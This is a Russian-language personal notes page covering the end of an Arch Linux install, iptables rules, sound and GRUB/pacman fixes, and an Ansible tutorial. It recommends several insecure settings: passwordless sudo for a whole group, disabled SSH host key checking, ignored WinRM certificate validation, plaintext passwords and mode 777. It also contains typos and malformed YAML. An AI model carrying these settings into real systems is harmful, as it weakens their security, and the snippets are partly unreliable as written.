fallocate -l 1G /mnt/.swap
chmod 600 /mnt/.swap
mkswap /mnt/.swap
swapon /mnt/.swap

9. Генерация fstab:
genfstab -U /mnt >> /mnt/etc/fstab

10. Chroot
Войдем в систему
arch-chroot /mnt


11. Локализация
Добавьте локали, например en_US.UTF-8 UTF-8 и ru_RU.UTF-8 UTF-8
vim /etc/locale.gen
locale-gen

vim /etc/locale.conf
--------------------
LANG=ru_RU.UTF-8
--------------------

vim /etc/vconsole.conf
----------------------
KEYMAP=ru
FONT=cyr-sun16
----------------------

12. Имя хоста:
/etc/hostname
-------------
имявашегохоста
-------------

13. Пароль суперпользователя
Установите пароль суперпользователя:
passwd

14. Установка загрузкича
!!! Главное убедитесь что у вас есть раздел EFI (fdisk -l)
Установка по умолчанию:
grub-install /dev/имя_вашего_диска
Если возникает ошибка:
grub-install --recheck /dev/имя_вашего_диска
Если возникает ошибка: 
grub-install --boot-directory=/boot /dev/имя_вашего_диска

Если выше также не отработали пробуем ставить EFI сами:
grub-install --efi-directory=/boot
grub-mkconfig -o /boot/grub/grub.cfg


Генерация загрузочного образа для BIOS без установки grub:
Новые версии GRUB2 генерируют загрузочный образ core.img, который может быть загружен не только кодом бут-сектора, 
но и другими загрузчиками (GRUB2, GRUB Legacy, syslinux)
grub-install --grub-setup=/bin/true /dev/sda


15. Графика установка KDE
pacman -Syu xorg-server plasma-meta sddm
systemctl start sddm

iptables.service

0. Проверяем:
cat /usr/lib/systemd/system/iptables.service
--------------------------------------------                                                                                                                   
[Unit]
Description=Packet Filtering Framework

[Service]
Type=oneshot
ExecStart=/usr/bin/iptables-restore /etc/iptables/iptables.rules
ExecReload=/usr/bin/iptables-restore /etc/iptables/iptables.rules
ExecStop=/usr/lib/systemd/scripts/iptables-flush
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target
-------------------------------------------- 

1. Проверяем работу, добавляем правила и включаем iptables.service

systemct enable iptables.service
systemctl start iptables.service

cat > /etc/iptables/iptables.rules << "EOF"
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
:DOCKER - [0:0]
-A PREROUTING -m addrtype --dst-type LOCAL -j DOCKER
-A OUTPUT ! -d 127.0.0.0/8 -m addrtype --dst-type LOCAL -j DOCKER
-A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE
-A POSTROUTING -s 172.18.0.0/16 ! -o br-6e31867864c0 -j MASQUERADE
-A POSTROUTING -o ovsbr0 -j MASQUERADE
-A POSTROUTING -s 172.18.0.2/32 -d 172.18.0.2/32 -p tcp -m tcp --dport 443 -j MASQUERADE
-A POSTROUTING -s 172.18.0.5/32 -d 172.18.0.5/32 -p tcp -m tcp --dport 8080 -j MASQUERADE
-A DOCKER -i docker0 -j RETURN
-A DOCKER -i br-6e31867864c0 -j RETURN
-A DOCKER ! -i br-6e31867864c0 -p tcp -m tcp --dport 8443 -j DNAT --to-destination 172.18.0.2:443
-A DOCKER ! -i br-6e31867864c0 -p tcp -m tcp --dport 32768 -j DNAT --to-destination 172.18.0.5:8080
COMMIT

*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -i enp0s20f0u1u4 -j ACCEPT
-A INPUT -i enp0s20f0u1u1 -j ACCEPT
-A INPUT -i zthnhjuefn -j ACCEPT
-A INPUT -i wg0 -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p udp -m udp --dport 5678 -j ACCEPT
-A INPUT -s 192.168.16.0/24 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -s 192.168.15.0/24 -p tcp -m state --state NEW -m tcp --dport 22 -j ACCEPT
-A INPUT -s 192.168.15.0/24 -p tcp -m state --state NEW -m tcp --dport 5905 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 8 -m limit --limit 100/sec -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 3 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 4 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 11 -j ACCEPT
-A INPUT -p icmp -m icmp --icmp-type 12 -j ACCEPT
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -i zthnhjuefn -j ACCEPT
-A FORWARD -i wg0 -j ACCEPT
-A FORWARD -i enp0s20f0u1u4 -j ACCEPT
COMMIT
EOF


cat > /etc/iptables/ip6tables.rules << "EOF"
*filter
:INPUT DROP [0:0]
:FORWARD DROP [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -i lo -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p ipv6-icmp -j ACCEPT
COMMIT
EOF


systemct restart iptables.service

Звук

Возможные ошибки:
У вас конфликтующая настройка звукового демона: либо установите Pipewire-media-session и удалите Wireplumber, 
если вы хотите придерживаться PulseAudio, либо полностью переключитесь на PipeWire, заменив PulseAudio на PipeWire-Pulse.



pacman -Sy pipewire pipewire-pulse wireplumber pavucontrol wpctl easyeffects



Команды для проверки:
sudo fuser -v /dev/snd/*
aplay -lL
amixer -c0
pactl list cards
pactl list sinks
sudo dmesg | grep -E 'snd|sof'




Глюки с интеловской встройкой
systemctl --user --now enable pipewire pipewire-pulse wireplumber
cat > /etc/modprobe.d/alsa-base.conf << "EOF"
options snd-hda-intel dmic_detect=0
options snd-hda-intel index=0
EOF

bluetooth

pacman -Sy bluez bluez-utils  bluez-deprecated-tools
systemctl start  bluetooth.service
systemctl status  bluetooth.service
# если все ок добавляем в автозагрузку
systemctl enalbe bluetooth.service

GRUB update - symbol "grub_is_shim_lock_enabled" not found

0. Загружаемся с livecD и монтируем основной раздел и раздел с загрузчиком
mount /dev/sda2 /mnt
mount /dev/sda1 /mnt/boot

1. Выполняем arch-chroot
arch-chroot /mnt

2. (Не обязательно) Удаляем старые файлы grub
rm -rf /boot/grub 

3. Ставим grub
grub-install --target=x86_64-efi --efi-directory=/boot --disable-shim-lock
grub-mkconfig -o /boot/grub/grub.cfg

erroe electron

Ошибка при pacman -Syu
:: Запускается полное обновление системы...
разрешение зависимостей...
проверка конфликтов...
ошибка: не удалось подготовить транзакцию (не удалось удовлетворить зависимости)
:: installing icu (76.1-1) breaks dependency 'libicui18n.so=75-64' required by electron29
:: installing icu (76.1-1) breaks dependency 'libicuuc.so=75-64' required by electron29
:: installing flac (1.5.0-1) breaks dependency 'libFLAC.so=12-64' required by electron29
:: installing icu (76.1-1) breaks dependency 'libicui18n.so=75-64' required by electron30
:: installing icu (76.1-1) breaks dependency 'libicuuc.so=75-64' required by electron30
:: installing flac (1.5.0-1) breaks dependency 'libFLAC.so=12-64' required by electron30

Возможное решение удалить electron:
pacman -R electron29 electron30
pacman -Suy

Возможное решение два игнорировать ошибку и обновить систему:
pacman -Suy --ignore icu --ignore flac

ошибка: не удалось получить файл 'community.db'

Пример:
ошибка: не удалось получить файл 'community.db' из berlin.mirror.pkgbuild.com : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из geo.mirror.pkgbuild.com : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из arch.mirror.constant.com : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из arch.phinau.de : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из mirror.telepoint.bg : Protocol "rsync" not supported
ошибка: не удалось получить файл 'community.db' из mirrors.neusoft.edu.cn : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из mirror.yandex.ru : The requested URL returned error: 404
ошибка: не удалось получить файл 'community.db' из mirror.yandex.ru : The requested URL returned error: 404


Решение:
https://archlinux.com.ru/forum/viewtopic.php?t=4311
В системах, где /etc/pacman.conf все еще ссылается на старый репозиторий [community]
Нужно его просто закомментировать или удалить строки 

не обновлялся yay / could not find all required packages: nodejs-lts-hydrogen / 2025.04.02

0. Почистить кеш yay и удалить старые зависимости
yay -Yc
1. Обновить базу пакетов и AUR-зависимости
yay -Syu --devel --timeupdate
2. sudo pacman -Syu
Рубрики
ansible Конспект система управления конфигурациями

Конспект: Ansible

Начало

Ссылки:

https://www.ansible.com/ - офф сайт
https://docs.ansible.com/ansible/latest/user_guide/playbooks_best_practices.html - бест практик
https://pastebin.com/9hpUPE1z - пример конфига vpn клиента
https://www.youtube.com/watch?v=Ck1SGolr6GI&list=PLg5SS_4L6LYufspdPupdynbMQTBnZd31N&index=1 - видосики от ADV-IT
https://docs.ansible.com/ansible/latest/installation_guide/intro_installation.html - установка офф документация

Вводное:

Ansible - Automation Configure Tool
Минимальные требования

Control Server - Master Server:
1. Linux only (RedHat, Debian, Centos, OS X, ubuntu)
2. Python 2.6 или Python 3.5+

Controlled Servers - Managed Servers:
Linux: Admin Username/Passwords или SSH Key и Python 2.6+
Windows: Admin Username/Passwords, Powershell 3.0 и запустить скрипт ConfigureRemotingForAnsible.ps1

Работа происходит через следующие порты:
Linux -> SSH Port 22
Windows -> WinRM Port 5986


Установка:

Установка на Ubuntu 16.04:
sudo apt-add-repository ppa:ansible/ansible
sudo apt-get update
sudo apt-get install ansible

Установка на CentOS 7:
sudo yum install epel-release
sudo yum install ansible

Ansible - Установка на Amazon Linux через PIP
sudo pip install ansible


ansible --version - узнаем версию ansible






ansible подключение к клиентам

Пример генерации ключей

ssh-keygen - создаем пару ключей на сервере с которого будем подключатся.
ssh-copy-id username@IP_адрес_вашего_сервера - копирование открытого ключа

автоматизация...
ssh-keygen && for host in $(cat hosts.txt); do ssh-copy-id $host; done

Подключение:

cd ~ - перешли в домашний каталог
mkdir ansible - создали каталог ansible для удобства
cd /ansible - перешли в новый каталог ansible
touch host.txt - создадим специальный файл для подключения к хостам

nano host.txt - отредактируем
---host.txt--- если используются пароли
[staging_servers]
linux1 ansible_host=192.168.15.142 ansible_user=USERNAME1 ansible_pass=Mypassword123
--------------

nano host.txt - отредактируем
---host.txt--- если используются SSHKEY
[staging_servers]
linuxX ansible_host=192.168.15.142 ansible_user=USERNAME1  ansible_ssh_private_key_file=/home/USERNAME1/.ssh/id_rsa

[prod_servers]
linux1 ansible_host=192.168.15.145 ansible_user=USERNAME1  ansible_ssh_private_key_file=/home/USERNAME1/.ssh/nameSSHkey1.pem
linux2 ansible_host=192.168.15.145 ansible_user=USERNAME1  ansible_ssh_private_key_file=/home/USERNAME1/.ssh/nameSSHKey2.pem

[windows_servers]
windows1 ansible_host=192.168.15.147
windows2 ansible_host=192.168.15.146

[windows_servers:vars]
ansible_user = admin
ansible_password = PASSWORD@123 !!! можно убрать пароль из конфига, а при запуске команды ansible писать --ask-pass
ansible_port = 5986
ansible_connection = winrm
ansible_winrm_serv_cert_validation = ignore
--------------

Дополнительная настройка ansible.cfg

ansible --version - покажет версию, где находится конфиг файл ansible.cfg
/etc/ansible/ansible.cfg - в ubuntu тут

cd ~ansible - перешли в каталог ansible
tauch ansible.cfg - создадим пустой файл

nano ansible.cfg
---ansible.cfg---
[defaults]
host_key_cheking = false  - отключаем проверку для finger ssh-key 
inventory = /home/USERNAME/host.txt - файл настроек хостов

-----------------

Проверка ping:

cd ~ansible - перешли в каталог ansible

ansible -i host.txt all  -m ping  - запустили проверку в ответ прилетит PONG

-i host.txt  - файл с хостами
all - группа в данном случае для всех
-m ping - используем модуль ping для linux хостов
-m win_ping  - используем модуль ping для windows хостов

Если в ansible.cfg добавили invertory  то можно не писать опцию  -i host.txt

ansible all  -m ping  - запустили проверку в ответ прилетит PONG если все ок

ansible windows_servers  -m win_ping  - запустили проверку в ответ прилетит PONG если все ок
ansible windows_servers  -m win_ping --ask-pass - запустили проверку в ответ прилетит PONG если все ок






ansible invertory и файл host.txt

Файл пример:

Можно записывать так просто перечислить ip адреса
192.168.0.1
192.168.0.2
192.168.0.3
192.168.0.4
192.168.0.5

Можно записывать имена серверов
name1
name2
name3
name4
name5

!!! Все хосты входят в группы
!!! Все хосты входят в группу all
!!! Все хосты которым не назначена группа, входят в группу ungrouped и all

[staging_DB]
192.168.0.10
192.168.0.11

[staging_WEB]
192.168.0.20
192.168.0.21

[staging_APP]
192.168.0.30
192.168.0.31

[staging_ALL:children]
staging_DB
staging_WEB
staging_APP

[prod_DB]
10.10.10.1
[prod_WEB]
10.10.10.2
[prod_APP]
10.10.10.3

[prod_ALL:children]
prod_DB
prod_WEB
prod_APP

[DB_ALL:children]
staging_DB
prod_DB

[APP_ALL:children]
staging_APP
prod_APP

[APP_ALL:vars]
message=Hello

[staging_servers]
linuxX ansible_host=192.168.15.142 ansible_user=USERNAME7  ansible_ssh_private_key_file=/home/USERNAME7/.ssh/id_rsa
 
[prod_servers]
linux1 ansible_host=192.168.15.145
linux2 ansible_host=192.168.15.146

[prod_servers:vars]
ansible_user=USERNAME1
ansible_ssh_private_key_file=/home/USERNAME1/.ssh/nameSSHKey1.pem 


[windows_servers]
windows1 ansible_host=192.168.15.147
windows2 ansible_host=192.168.15.146
 
[windows_servers:vars]
ansible_user = admin
ansible_password = PASSWORD@123 !!! можно убрать пароль из конфига, а при запуске команды ansible писать --ask-pass
ansible_port = 5986
ansible_connection = winrm
ansible_winrm_serv_cert_validation = ignore

ДОП

ansible-inventory --list - покажет все хосты и какие переменные к ним относятся
ansible-inventory --graph - - покажет все хосты и какие группы в виде дерева






ansible запуск ad-hoc команд, -m , ping , setup , shell , copy , file , get_url , yum , apt , service , uri , ansible-invertory , ansible-doc

ansible -i host.txt all  -m ping  - запустили проверку в ответ прилетит PONG
-i host.txt  - файл с хостами
all - группа в данном случае для всех
-m ping - используем модуль ping для linux хостов
-m win_ping  - используем модуль ping для windows хостов

Если в ansible.cfg добавили invertory  то можно не писать опцию  -i host.txt
ansible all  -m ping  - запустили проверку в ответ прилетит PONG если все ок
 
ansible all -m setup - выведет параметры всех серверов
ansible staging_servers  -m setup - выведет параметры группы taging_servers

ansible all -m shell -a "uptime" - выполнить на всех серверах команду uptime
-m shell - модуль шелл
-a аргумент (комманда) 
uptime

ansible all -m shell -a "df -h" - выполнить на всех серверах команду df -h (занятое место)

ansible all -m command -a "uptime" - тоже самое что и shell но в нем не будут работать переменные и спец символы !@#$%^&*(}| и тд

ansible all -m copy -a "src=xxx.txt dest=/home mode=777" - скопировать файл xxx.txt в каталог /home
ansible all -m copy -a "src=xxx.txt dest=/home mode=777" -b - повысить привилегии (sudo)
ansible all -m copy -a "src=xxx.txt dest=/home mode=777" -b --ask-become-pass - повысить привилегии и ввести пароль 
-b  - повысить привилегии
-m copy - модуль копирования

ansible all -m file -a "path=/home/XXX.txt state=absent" -b - удаление файла XXX.txt

ansible all -m get-url -a "url=http://example.com/path/file.conf dest=/home/foo.conf" 

ansible all -m get_url -a "url=http://example.com/path/file.conf dest=/home/foo.conf username=USERNAME password=USERNAME"


ansible all -m yum -a "name=httpd state=latest" -b - установка пакета stress на CentOS (проверял установит и на Debian)
ansible all -m yum -a "name=stress state=present" -b - установка пакета stress на CentOS (проверял установит и на Debian)
ansible all -m yum -a "name=stress state=absent" -b - удаление пакета stress на CentOS (проверял удалит и на Debian)

ansible all -m apt -a "name=apache2 state=present" -b  - установка apache2 на Debian
ansible all -m apt -a "name=apache2 state=absent" -b  - удаление apache2 на Debian


ansible all -m service -a "name=httpd state=started enabled=yes" - запускать веб сервер CentOS
ansible all -m service -a "name=apache2 state=started enabled=yes" - запускать веб сервер Debian


ansible all -m uri -a "url=https://b14esh.com" - как бы тестик, проверить доступность страницы
ansible all -m uri -a "url=https://b14esh.com return_content=yes" - как бы тестик, проверить доступность страницы, покажет страницу

ansible all -m shell -a "df -h " -vvvvv - дебаг(debug) выполнения команды ( чем больше "v"  тем больше дебагу)

ansible-doc -l - офф документация в консоли
ansible-doc -l | grep windows - поиск по windows
ansible-doc -l | grep ec2 - поиск по ec2

!!! https://docs.ansible.com/ - используй тут много полезного

ansible-inventory --list - покажет все хосты и какие переменные к ним относятся
ansible-inventory --graph - покажет все хосты и какие группы в виде дерева

Для работы -b и ошибка «msg»: «Missing sudo password»

!!! Вот такая ошибка "msg": "Failed to get information on remote file может появятся если сломали sudo
!!! "msg": "Missing sudo password" ошибка  появляется с опцией -b временно поможет опция --ask-become-pass
!!! 
sudo groupadd sudo - создать группу sudo в Ubuntu эта группа уже существует

sudo usermod -a -G sudo username - добавить вашего пользователя к этой группе
где username - имя вашего пользователя в системе

Отредактировать /etc/sudoers файл
sudo nano /etc/sudoers
----------------------
Найти строку ниже в этом файле (если нет, то создать)
%sudo   ALL=(ALL:ALL) ALL
и поменять на следующую
%sudo   ALL=(ALL:ALL) NOPASSWD: ALL
-----------------------






ansible формат yaml , файлов yml , примеры

0. myfile.yml

Обычный текстовый файл
--- всегда начинаются с двух минусов

... заканчиваются точками

1. myfile.yml

---
 - command1 первая команда начинается с одного минуса

 - command2 вторая команда минус должен располагаться четко под минусом первой команды
...

2. myfile.yml

---
 fruits:  список команд заканчивается на двоеточие, и начинается с минуса если списков несколько
      - apple 
      - orange
      - mango 

...

3. myfile.yml

---
 - fruits:  список команд заканчивается на двоеточие, и начинается с минуса если списков несколько
      - apple 
      - orange
      - mango 
 
 - vegetables:
      - carrots
      - cucumbers
 
...

4. myfile.yml

---
 - fruits: 
      - apple 
      - orange
      - mango 

  fruits: ['apple' , 'orange' , 'mango' ]

 - vegetables:
      - carrots
      - cucumbers
 
 - vasya:
     nick: vasek
     position: developer
     skills:
         - python
         - perl
         - php
 - petya:
     nick: pet
     postition: manager
     skills:
         - manage
         - make_noise

- petyak:
     nick: "pettya: krutoy"
     postition: manager
     skills:
         - manage
         - make_noise

 - kolya: {nick: kolyan, position: administrator, skills: killer }

 - kolya1: {nick: kolyan, position: administrator, skills: ['killer', 'cleaner' }



...

5. Популярный вид записи myfile.yml

- petya:
     nick: pet
     postition: manager
     skills:
         - manage
         - make_noise






ansible перенос переменных , group_vars

Дано host.txt:

[STAGING_SERVERS_WEB]
LinuxX1 ansible_host=192.168.30.10
LinuxX1 ansible_host=192.168.30.11 password=mysecret

[STAGING_SERVERS_WEB:vars]
ansible_user=user1
ansible_ssh_private_key_file=/home/user1/.ssh/super-key1.pem

[PROD_SERVERS_WEB]
Linux1 ansible_host=10.10.10.10
Linux1 ansible_host=10.20.20.11

[PROD_SERVERS_WEB:vars]
ansible_user=user1
ansible_ssh_private_key_file=/home/user1/.ssh/super-key2.pem

[STAGING_SERVERS_DB]
192.168.30.20
192.168.30.21

[PROD_SERVERS_DB]
10.10.10.20
10.10.10.21

[ALL_SERVERS_DB:children]
STAGING_SERVERS_DB
PROD_SERVERS_DB

[ALL_SERVERS_DB:vars]
db_endpoint=db.sytekxxx.com:4151
owner=vasya
location="Huston,TX"

Выносим переменные из файла host.txt

cd ~ansible - перешли в каталог ansible в домашнем каталоге пользователя (естественно в каталоге /etc/ansible/ у меня нет конфигов)
mkdir group_vars - создаем каталог group_vars в каталоге ansible 
cd group_vars - перешли в каталог group_vars
touch STAGING_SERVERS_WEB PROD_SERVERS_WEB ALL_SERVERS_DB - создаем файлы PROD_SERVERS_WEB и  ALL_SERVERS_DB

nano STAGING_SERVERS_WEB  - файл будет иметь YAML синтаксис (в начале файла ---, в конце файла ... , равно(=) заменить на двоеточие(:)
---STAGING_SERVERS_WEB---
---
ansible_user                 : user1
ansible_ssh_private_key_file : /home/user1/.ssh/super-key1.pem
...
----------------------


nano PROD_SERVERS_WEB  - файл будет иметь YAML синтаксис (в начале файла ---, в конце файла ... , равно(=) заменить на двоеточие(:)
---PROD_SERVERS_WEB---
---
ansible_user                 : user1
ansible_ssh_private_key_file : /home/user1/.ssh/super-key2.pem
...
----------------------

nano ALL_SERVERS_DB  - файл будет иметь YAML синтаксис (в начале файла ---, в конце файла ... , равно(=) заменить на двоеточие(:)
---ALL_SERVERS_DB---
---
db_endpoint : db.sytekxxx.com:4151
owner       : vasya
location    : "Huston,TX"
...
--------------------


nano host.txt - приводим к следующему виду
---host.txt---
[STAGING_SERVERS_WEB]
LinuxX1 ansible_host=192.168.30.10
LinuxX1 ansible_host=192.168.30.11 password=mysecret

[PROD_SERVERS_WEB]
Linux1 ansible_host=10.10.10.10
Linux1 ansible_host=10.20.20.11

[STAGING_SERVERS_DB]
192.168.30.20
192.168.30.21

[PROD_SERVERS_DB]
10.10.10.20
10.10.10.21

[ALL_SERVERS_DB:children]
STAGING_SERVERS_DB
PROD_SERVERS_DB
--------------






ansible playbook

вводное

!!! Пробелы ОЧЕНЬ ВАЖНЫ
!!! НЕ ИСПОЛЬЗУЙТЕ "TAB" будут ошибки на ровном месте 

ansible-playbook NAMEPLAYBOOK.yml - запуск плейбука

playbook0.yml ping

---
- name: Test connection to my servers
  hosts: all
  become: yes

  tasks:
   - name: Ping my servers
     ping:
...

playbook1.yml install httpd CentOS

---
- name: Install default Apache Web Servers
  hosts: all
  become: yes

  tasks:
  - name: Install Apache Web Server
    yum: name=httpd state=latest

  - name: Start Apache and Enable it on every boot
    service: name=httpd state=started enabled=yes
  
...

playbook2.yml install apache2 Debian

---
- name: Install default Apache Web Servers
  hosts: all
  become: yes

  tasks:
  - name: Install Apache Web Server
    yum: name=apache2 state=present

  - name: Start Apache and Enable it on every boot
    service: name=apache2 state=started enabled=yes
...

playbook3.yml install apache2 Debian and copy index.html

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_file: ./website/index.html
     destin_file: /var/www/html

  tasks:
  - name: Install Apache Web Server
    yum: name=apache2 state=present

  - name: Copy index html to Servers
    copy: src={{ source_file }} dest={{ destin_file }} mode=0555
    notify: Restart Apache

  - name: Start Apache and Enable it on every boot
    service: name=apache2 state=started enabled=yes

  handlers:
  - name: Restart Apache
    service: name=apache2 state=restarted
...






ansible переменные , Debug , Set_fact , Register

host.txt


ansible all -m setup - выведет параметры всех серверов
ansible staging_servers  -m setup - выведет параметры группы taging_servers


[staging_servers]
linux1 ansible_host=192.168.15.142 owner=LOL

playbook_debug.yml

---
- name: My super Playbook
  hosts: all
  become: yes

  vars:
     message1: privet
     message2: word
     secret  : LKKDKDKDKDLSDKLSKD

  tasks:

  - name: Print Sectret variable
    debug:
      var: secret

  - debug:
      msg: "Sekretnoe slovo {{ secret }}"

  - debug:
      msg: "Vladelec etogo servera --> {{ owner }} <--"

  - set_fact: full_message=" {{ message1 }} {{ message2 }} from {{ owner }}"

  - debug:
      var: full_message

  - debug:
      var: ansible_distribution

  - debug:
      var: ansible_all_ipv4_addresses

  - shell: uptime
    register: results

  - debug:
      var: results

  - debug:
      var: results.stdout
...







ansible блоки , условия , apache , copy , install , when , block

playbook.yml

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_file: ./website/index.html
     destin_file: /var/www/html

  tasks:
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Copy index html to Servers
         copy: src={{ source_file }} dest={{ destin_file }} mode=0555
         notify: Restart Apache RedHat

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Copy index html to Servers
        copy: src={{ source_file }} dest={{ destin_file }} mode=0555
        notify: Restart Apache Debian

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes

    when: ansible_os_family == "Debian"



  handlers:
  - name: Restart Apache Redhat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...






ansible , циклы , loop , with_items , until , with_fileglob , copy , folder , копирование

playbook-loop.yml примеры циклов loop, with_items

---
- name: Loops Hello
  hosts: all
  become: yes

  tasks:

  - name: Say Hello to ALL
    debug: msg="Hello {{ item }}"
    loop:
        - "Vasya"
        - "Masha"
        - "Olga"
        - "Petr"

  - name: loop until example
    shell: echo -n Z >> myfile.txt && cat myfile.txt
    register: output
    delay: 2
    retries: 10
    until: output.stdout.find("ZZZZ") == false

  - name: Print Final Output
    debug:
      var:  output.stdout


#  - name: Install many packeg
#    apt: name={{ item }} state=present
#    with_items:
#            - apache2
#            - htop
#            - tree




...


playbook.yml install-and-copy-folder

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_folder: ./website
     destin_folder: /var/www/html

  tasks:
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes 


    when: ansible_os_family == "Debian"

  - name: Copy folder  to web  Servers
    copy: src={{ source_folder }}/{{ item }} dest={{ destin_folder }} mode=0555
    loop:
      - "file0.txt"
      - "file1.txt"
      - "file2.txt"
      - "file3.txt"
      - "file4.txt"
      - "file5.txt"
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian

  handlers:
  - name: Restart Apache RedHat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...

playbook.yml install-and-copy-folder по маске

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_folder: ./website
     destin_folder: /var/www/html

  tasks:
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes

    when: ansible_os_family == "Debian"

  - name: Copy folder  to web  Servers
    copy: src={{ item }} dest={{ destin_folder }} mode=0555
    with_fileglob: "{{ source_folder }}/*.*"
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian

  handlers:
  - name: Restart Apache RedHat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...







ansible , шаблоны , template , jinja , generate

index.2j



  
    
    
     Просто страничка для тестов
  

  
     

hello MEN

страница generate

print owner: {{ owner }}

print hostname: {{ ansible_hostname }}

print fqdn: {{ ansible_fqdn }}

print os: {{ ansible_os_family }}

IP address: {{ ansible_default_ipv4.address }}

playbook.yml

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_folder: ./website
     destin_folder: /var/www/html

  tasks:
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes

    when: ansible_os_family == "Debian"

  - name: Generate INDEX.HTML file
    template: src={{ source_folder }}/index.j2 dest={{ destin_folder }}/index.html mode=555
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian


  - name: Copy folder  to web  Servers
    copy: src={{ source_folder }}/{{ item }} dest={{ destin_folder }} mode=0555
    loop:
      - "file0.txt"
      - "file1.txt"
      - "file2.txt"
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian

  handlers:
  - name: Restart Apache RedHat
    service: name=httpd state=restarted
    when: ansible_os_family == "RedHat"

  - name: Restart Apache Debian
    service: name=apache2 state=restarted
    when: ansible_os_family == "Debian"

...






ansible role

вводное

cd ~ansible - зашли в домашний каталог ansible
mkdir roles - создали каталог roles
cd roles - зашли в каталог roles
ansible-galaxy init deploy_apache_web_site - создание роли, а точнее в каталоге roles, будут созданы каталоги и файлы
---------------------------------------
└── deploy_apache_web_site
    ├── defaults
    │   └── main.yml
    ├── files
    ├── handlers
    │   └── main.yml
    ├── meta
    │   └── main.yml
    ├── README.md
    ├── tasks
    │   └── main.yml
    ├── templates
    ├── tests
    │   ├── inventory
    │   └── test.yml
    └── vars
        └── main.yml
---------------------------------------

Наш playbook.yml который мы будем распихивать в роль deploy_apache_web_site

---
- name: Install Apache and Upload my Web Page
  hosts: all
  become: yes

  vars:
     source_folder: ./website
     destin_folder: /var/www/html

  tasks:
  - name: Cheack and Print Linux Version
    debug: var=ansible_os_family

  - block:  # === BLOCK REDHAT ====
       - name: Install Apache Web Server for RedHat
         yum: name=httpd state=present

       - name: Start Apache and Enable it on every boot
         service: name=httpd state=started enabled=yes

    when: ansible_os_family == "RedHat"


  - block: # === BLOCK DEBIAN ====

      - name: Install Apache Web Server for Debian
        apt: name=apache2 state=present

      - name: Start Apache and Enable it on every boot
        service: name=apache2 state=started enabled=yes

    when: ansible_os_family == "Debian"

  - name: Generate INDEX.HTML file
    template: src={{ source_folder }}/index.j2 dest={{ destin_folder }}/index.html mode=555
    notify:
        - Restart Apache RedHat
        - Restart Apache Debian


  - name: Copy folder  to web  Servers
    copy: src={{ source_folder }}/{{ item }} dest={{ destin_folder }} mode=0555
    loop:
      - "file0.txt"
      - "file1.txt"
      - "file2.txt"
    notify:
